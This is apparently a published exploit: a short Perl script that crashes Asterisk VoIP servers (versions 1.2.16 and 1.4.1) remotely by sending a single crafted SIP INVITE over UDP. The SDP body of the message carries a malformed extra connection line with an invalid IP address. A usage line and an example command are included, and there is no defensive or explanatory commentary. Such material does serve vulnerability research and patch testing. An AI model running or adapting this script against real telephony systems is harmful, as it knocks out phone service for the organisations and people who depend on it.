Asterisk <= 1.2.16 / 1.4.1 SIP INVITE Remote Denial of Service Exploit

                                                #!/usr/bin/perl
# perl  asterisk-Invite.pl 192.168.1.104 5060 userX  192.168.1.2 5060 userY

use IO::Socket::INET;

die \"Usage $0 <dst> <dport> <dusername> <src> <sport> <susername>\" unless ($ARGV[5]);

 

$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>\'udp\',

        PeerAddr=>$ARGV[0]);


$msg=\"INVITE sip:$ARGV[2]@$ARGV[0]:$ARGV[1] SIP/2.0
Via: SIP/2.0/UDP $ARGV[3]:$ARGV[4];branch=01;rport
To: <sip:$ARGV[2]@$ARGV[0]:$ARGV[1]>
From:  <sip:$ARGV[3]:$ARGV[4]>;tag=01
Call-ID: 01@$ARGV[3]
Content-Type: application/sdp
CSeq: 01 INVITE
Content-Length: 187

v=0
o=root 25903 25903 IN IP4 $ARGV[3]
s=session
c=IN IP4 $ARGV[3]
c=IN IP4 910.188.8.2
t=0 0
m=audio 13956 RTP/AVP 0 4 3 8 111 5 10 7 18 110 97 101
a=rtpmap:98 speex/16000

\";

$socket->send($msg);